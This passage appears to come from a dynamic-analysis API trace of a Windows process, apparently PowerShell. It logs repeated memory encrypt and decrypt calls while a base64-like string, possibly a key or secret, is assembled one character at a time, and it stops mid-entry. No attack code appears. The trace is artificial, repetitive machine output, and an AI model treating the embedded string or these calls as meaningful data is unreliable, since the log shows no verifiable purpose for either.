[0129.485] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.485] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k࿉罱Ć⬜ᶳ") returned 0x20 [0129.485] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x74bf\xfc45\x6ca5\xa09f\x7d4d\xe0f8\x7507\xb097") returned 0x20 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x74bf\xfc45\x6ca5\xa09f\x7d4d\xe0f8\x7507\xb097") returned 0x20 [0129.485] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.485] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6罱Ć⬜ᶳ") returned 0x20 [0129.485] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x658d\x4ee8\xc07e\x1b4\xe3ac\x4ba8\xc775\xc2f9") returned 0x20 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x658d\x4ee8\xc07e\x1b4\xe3ac\x4ba8\xc775\xc2f9") returned 0x20 [0129.485] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.485] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cĆ⬜ᶳ") returned 0x20 [0129.485] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\xcefd\x39f2\xe4dd\x5d6c\x383c\x91d5\x98a0\xcff0") returned 0x20 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\xcefd\x39f2\xe4dd\x5d6c\x383c\x91d5\x98a0\xcff0") returned 0x20 [0129.485] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.486] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cG⬜ᶳ") returned 0x20 [0129.486] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x1dfd\x58f1\x71a5\x1b9e\xaee8\x43f4\x8c17\x2c21") returned 0x20 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x1dfd\x58f1\x71a5\x1b9e\xaee8\x43f4\x8c17\x2c21") returned 0x20 [0129.486] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.486] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGW⬜ᶳ") returned 0x20 [0129.486] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\xb754\x3d11\x1b0a\xf922\x74b9\x1655\xa030\x6bb") returned 0x20 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\xb754\x3d11\x1b0a\xf922\x74b9\x1655\xa030\x6bb") returned 0x20 [0129.486] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.486] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxᶳ") returned 0x20 [0129.486] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x7da8\x568b\x474f\x46eb\xd1be\x3acf\x5566\x89ac") returned 0x20 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x7da8\x568b\x474f\x46eb\xd1be\x3acf\x5566\x89ac") returned 0x20 [0129.486] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.486] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxw") returned 0x20 [0129.486] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509") returned 0x20 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509") returned 0x20 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509") returned 0x20 [0129.486] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509") returned 0x28 [0129.486] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.487] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwm䊙ᐚ䛾噇䗚") returned 0x28 [0129.487] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.487] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x1f41\xddc3\x7aaf\xd2da\x3614\x6efb\x94b5\x572a") returned 0x28 [0129.487] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x1f41\xddc3\x7aaf\xd2da\x3614\x6efb\x94b5\x572a") returned 0x28 [0129.487] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.487] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEᐚ䛾噇䗚") returned 0x28 [0129.487] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.487] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\xb724\xcffd\xf9e2\x9374\x8ee8\xdcb1\xce58\x96fa") returned 0x28 [0129.487] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\xb724\xcffd\xf9e2\x9374\x8ee8\xdcb1\xce58\x96fa") returned 0x28 [0129.487] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.487] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEO䛾噇䗚") returned 0x28 [0129.487] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.487] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x2ad8\x2b76\x8bf5\x877f\x1df3\xd8fd\xcd91\xde0f") returned 0x28 [0129.487] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x2ad8\x2b76\x8bf5\x877f\x1df3\xd8fd\xcd91\xde0f") returned 0x28 [0129.487] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.487] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOv䛾噇䗚") returned 0x28 [0129.487] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.488] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\xceeb\xd846\x28f4\x9433\xd3c6\x14be\xd399\x71b9") returned 0x28 [0129.488] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\xceeb\xd846\x28f4\x9433\xd3c6\x14be\xd399\x71b9") returned 0x28 [0129.488] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.488] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOvK䛾噇䗚") returned 0x28 [0129.488] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.489] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x173\xe0ac\xa1f\x0b\x213\x6930\x67ff\x6389") returned 0x28 [0129.489] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x173\xe0ac\xa1f\x0b\x213\x6930\x67ff\x6389") returned 0x28 [0129.489] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.489] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOvKt噇䗚") returned 0x28 [0129.489] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.489] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\xa2a6\xaa2c\xa387\xf7b6\xc467\x2b5d\x31c2\xe1fa") returned 0x28 [0129.489] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\xa2a6\xaa2c\xa387\xf7b6\xc467\x2b5d\x31c2\xe1fa") returned 0x28 [0129.489] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.489] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOvKtf䗚") returned 0x28 [0129.489] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.489] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\xff58\x56ba\x24d\x3bb4\xe5e2\x66c3\x3366\xe93f") returned 0x28 [0129.489] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\xff58\x56ba\x24d\x3bb4\xe5e2\x66c3\x3366\xe93f") returned 0x28 [0129.489] SystemFunction041 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.489] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOvKtfW") returned 0x28 [0129.489] SystemFunction040 (in: Memory=0x42ec784, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x42ec784) returned 0x0 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6") returned 0x28 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6") returned 0x28 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6") returned 0x28 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6\x76\x6a\x38\x57\x34\x35\x63\x31") returned 0x30 [0129.490] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0129.490] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOvKtfWm䮳䮵脋䉼檾擬楥") returned 0x30 [0129.490] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6\x4990\xee6e\xf093\xe2e3\xc7b0\xe9d0\x733b\xcf14") returned 0x30 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6\x4990\xee6e\xf093\xe2e3\xc7b0\xe9d0\x733b\xcf14") returned 0x30 [0129.490] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0129.490] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOvKtfWm+䮵脋䉼檾擬楥") returned 0x30 [0129.490] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6\x2676\xfe9e\x3f5d\xcfcc\x7a1\x8f5\xaa7f\x5397") returned 0x30 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6\x2676\xfe9e\x3f5d\xcfcc\x7a1\x8f5\xaa7f\x5397") returned 0x30 [0129.490] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0129.490] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOvKtfWm+s脋䉼檾擬楥") returned 0x30 [0129.490] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6\x2184\x107a\x6319\x53ec\xbd37\x4931\x25ff\x3c76") returned 0x30 [0129.490] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x8fcc\x42b3\x6752\xf098\x36b7\x526b\x13bc\x7509\x63c5\x741a\x7fd0\xb5df\x5618\x5b0a\x613d\x80b6\x2184\x107a\x6319\x53ec\xbd37\x4931\x25ff\x3c76") returned 0x30 [0129.490] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0129.491] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9k6cGWxwmEOvKtfWm+s=䉼檾擬楥") returned 0x30 [0129.491] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0129.491] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.491] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.491] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.491] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0129.491] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.491] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.491] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.491] SysStringLen (param_1="") returned 0x8 [0129.492] SysStringLen (param_1="Y") returned 0x8 [0129.492] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.492] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0129.492] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0129.492] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.492] SysStringLen (param_1="YW") returned 0x8 [0129.492] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.492] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0129.492] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0129.492] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.492] SysStringLen (param_1="YWM") returned 0x8 [0129.492] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.492] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0129.492] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0129.492] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 